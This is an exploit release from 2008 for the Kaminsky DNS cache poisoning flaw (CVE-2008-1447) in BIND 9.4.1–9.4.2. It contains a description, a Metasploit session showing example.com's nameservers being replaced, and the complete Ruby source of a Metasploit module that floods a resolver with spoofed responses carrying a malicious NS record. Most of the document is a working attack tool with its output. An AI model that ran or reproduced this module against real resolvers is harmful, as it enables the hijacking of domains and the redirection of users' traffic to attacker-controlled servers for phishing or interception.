BIND 9.4.1-9.4.2 - Remote DNS Cache Poisoning Flaw Exploit (Metasploit)



                      ____      ____     __    __

                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
                   |  |  ___ |   __   | |  |  |  |
  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/
                                                     
                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0003
Release Date:   2008.07.23
Title:          bailiwicked_domain.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email:   I)ruid <druid (@) caughq.org>
                H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain.  By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.  This insertion completely replaces the original nameserver
records for the target domain.


Example
=======

# /msf3/msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 73 aux

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            171957  IN      NS      b.iana-servers.net.
[*]   Querying recon nameserver for address of b.iana-servers.net....
[*]    Got an A record: b.iana-servers.net.     171028  IN      A       193.0.0.236
[*]     Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*]     b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            171957  IN      NS      a.iana-servers.net.
[*]   Querying recon nameserver for address of a.iana-servers.net....
[*]    Got an A record: a.iana-servers.net.     171414  IN      A       192.0.34.43
[*]     Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*]     a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.


Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and 
was cool enough to email us and share!


References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113


Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary

    include Exploit::Remote::Ip

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'DNS BailiWicked Domain Attack',
            'Description'    => %q{
                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
                domains nameserver entries in a vulnerable DNS cache server. This attack works
                by sending random hostname queries to the target DNS server coupled with spoofed
                replies to those queries from the authoritative nameservers for that domain.
                Eventually, a guessed ID will match, the spoofed packet will get accepted, and
                the nameserver entries for the target domain will be replaced by the server
                specified in the NEWDNS option of this exploit.
            },
            'Author'         => 
                [ 
                '    I)ruid', 'hdm',
                                                          #
                    'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method 
                                                          # and was cool enough to email us and share!
                                                          #
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 5591 $',
            'References'     =>
                [
                    [ 'CVE', '2008-1447' ],
                    [ 'US-CERT-VU', '8000113' ],
                    [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
                ],
            'DisclosureDate' => 'Jul 21 2008'
            ))
            
            register_options(
                [
                    OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
                    OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
                    OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
                    OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
                    OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
                    OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
                ], self.class)
                    
    end
    
    def auxiliary_commands
        return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
    end

    def cmd_check(*args)
        targ = args[0] || rhost()
        if(not (targ and targ.length > 0))
            print_status("usage: check [dns-server]")
            return
        end

        print_status("Using the Metasploit service to verify exploitability...")
        srv_sock = Rex::Socket.create_udp(
            'PeerHost' => targ,
            'PeerPort' => 53
        )        

        random = false
        ports  = []
        lport  = nil
        
        1.upto(5) do |i|
        
            req = Resolv::DNS::Message.new
            txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
            req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
            req.rd = 1
            
            srv_sock.put(req.encode)
            res, addr = srv_sock.recvfrom()
            

            if res and res.length > 0
                res = Resolv::DNS::Message.decode(res)
                res.each_answer do |name, ttl, data|
                    if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
                        t_addr, t_port = $1.split(':')

                        print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
                        t_port = t_port.to_i
                        if(lport and lport != t_port)
                            random = true
                        end
                        lport  = t_port
                        ports << t_port
                    end
                end
            end    
        end
        
        srv_sock.close
        
        if(ports.length < 5)
            print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
            return
        end
        
        if(random)
            print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
            print_status("      This server may still be exploitable, but not by this tool.")
        else
            print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
        end
    end
        
    def run
        target  = rhost()
        source  = Rex::Socket.source_address(target)
        sport   = datastore['SRCPORT']
        domain  = datastore['DOMAIN'] + '.'
        newdns  = datastore['NEWDNS']
        recons  = datastore['RECONS']
        xids    = datastore['XIDS'].to_i
        newttl  = datastore['TTL'].to_i
        xidbase = rand(20001) + 20000
        
        address = Rex::Text.rand_text(4).unpack("C4").join(".")

        srv_sock = Rex::Socket.create_udp(
            'PeerHost' => target,
            'PeerPort' => 53
        )

        # Get the source port via the metasploit service if it's not set
        if sport.to_i == 0
            req = Resolv::DNS::Message.new
            txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
            req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
            req.rd = 1
            
            srv_sock.put(req.encode)
            res, addr = srv_sock.recvfrom()
            
            if res and res.length > 0
                res = Resolv::DNS::Message.decode(res)
                res.each_answer do |name, ttl, data|
                    if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
                        t_addr, t_port = $1.split(':')
                        sport = t_port.to_i

                        print_status("Switching to target port #{sport} based on Metasploit service")
                        if target != t_addr
                            print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
                        end
                    end
                end
            end
        end

        # Verify its not already poisoned
        begin
            query = Resolv::DNS::Message.new
            query.add_question(domain, Resolv::DNS::Resource::IN::NS)
            query.rd = 0

            begin
                cached = false
                srv_sock.put(query.encode)
                answer, addr = srv_sock.recvfrom()

                if answer and answer.length > 0
                    answer = Resolv::DNS::Message.decode(answer)
                    answer.each_answer do |name, ttl, data|

                        if((name.to_s + ".") == domain and data.name.to_s == newdns)
                            t = Time.now + ttl
                            print_status("Failure: This domain is already using #{newdns} as a nameserver")
                            print_status("         Cache entry expires on #{t.to_s}")
                            srv_sock.close
                            disconnect_ip
                            return
                        end
                    end
                    
                end
            end until not cached
        rescue ::Interrupt
            raise $!
        rescue ::Exception => e
            print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
        end


        res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

        print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"

        # Look up the nameservers for the domain
        print_status "Querying recon nameserver for #{domain}'s nameservers..."
        answer0 = res0.send(domain, Net::DNS::NS)
        #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

        barbs = [] # storage for nameservers
        answer0.answer.each do |rr0|
            print_status " Got an #{rr0.type} record: #{rr0.inspect}"
            if rr0.type == 'NS'
                print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
                answer1.answer.each do |rr1|
                    print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
                    res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
                    print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
                    answer2 = res2.send(domain)
                    if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
                        nsrec = {:name => rr0.nsdname, :addr => rr1.address}
                        barbs << nsrec
                        print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
                    end
                end
            end    
        end

        if barbs.length == 0
            print_status( "No DNS servers found.")
            srv_sock.close
            disconnect_ip
            return
        end

        # Flood the target with queries and spoofed responses, one will eventually hit
        queries = 0
        responses = 0

        connect_ip if not ip_sock

        print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")

        while true
            randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

            # Send spoofed query
            req = Resolv::DNS::Message.new
            req.id = rand(2**16)
            req.add_question(randhost, Resolv::DNS::Resource::IN::A)

            req.rd = 1

            buff = (
                Scruby::IP.new(
                    #:src   => barbs[0][:addr].to_s,
                    :src   => source,
                    :dst   => target,
                    :proto => 17
                )/Scruby::UDP.new(
                    :sport => (rand((2**16)-1024)+1024).to_i,
                    :dport => 53
                )/req.encode
            ).to_net
            ip_sock.sendto(buff, target)
            queries += 1
            
            # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
            req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
            req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
            req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
            req.qr = 1
            req.aa = 1

            xidbase.upto(xidbase+xids-1) do |id|
                req.id = id
                barbs.each do |barb|
                    buff = (
                        Scruby::IP.new(
                            #:src   => barbs[i][:addr].to_s,
                            :src   => barb[:addr].to_s,
                            :dst   => target,
                            :proto => 17
                        )/Scruby::UDP.new(
                            :sport => 53,
                            :dport => sport.to_i
                        )/req.encode
                    ).to_net
                    ip_sock.sendto(buff, target)
                    responses += 1
                end
            end

            # status update
            if queries % 1000 == 0
                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
            end

            # every so often, check and see if the target is poisoned...
            if queries % 250 == 0 
                begin
                    query = Resolv::DNS::Message.new
                    query.add_question(domain, Resolv::DNS::Resource::IN::NS)
                    query.rd = 0
    
                    srv_sock.put(query.encode)
                    answer, addr = srv_sock.recvfrom()

                    if answer and answer.length > 0
                        answer = Resolv::DNS::Message.decode(answer)
                        answer.each_answer do |name, ttl, data|
                            if((name.to_s + ".") == domain and data.name.to_s == newdns)
                                print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
                                srv_sock.close
                                disconnect_ip
                                return
                            end
                        end
                    end
                rescue ::Interrupt
                    raise $!
                rescue ::Exception => e
                    print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
                end
            end

        end

    end

end
end    

# milw0rm.com [2008-07-23]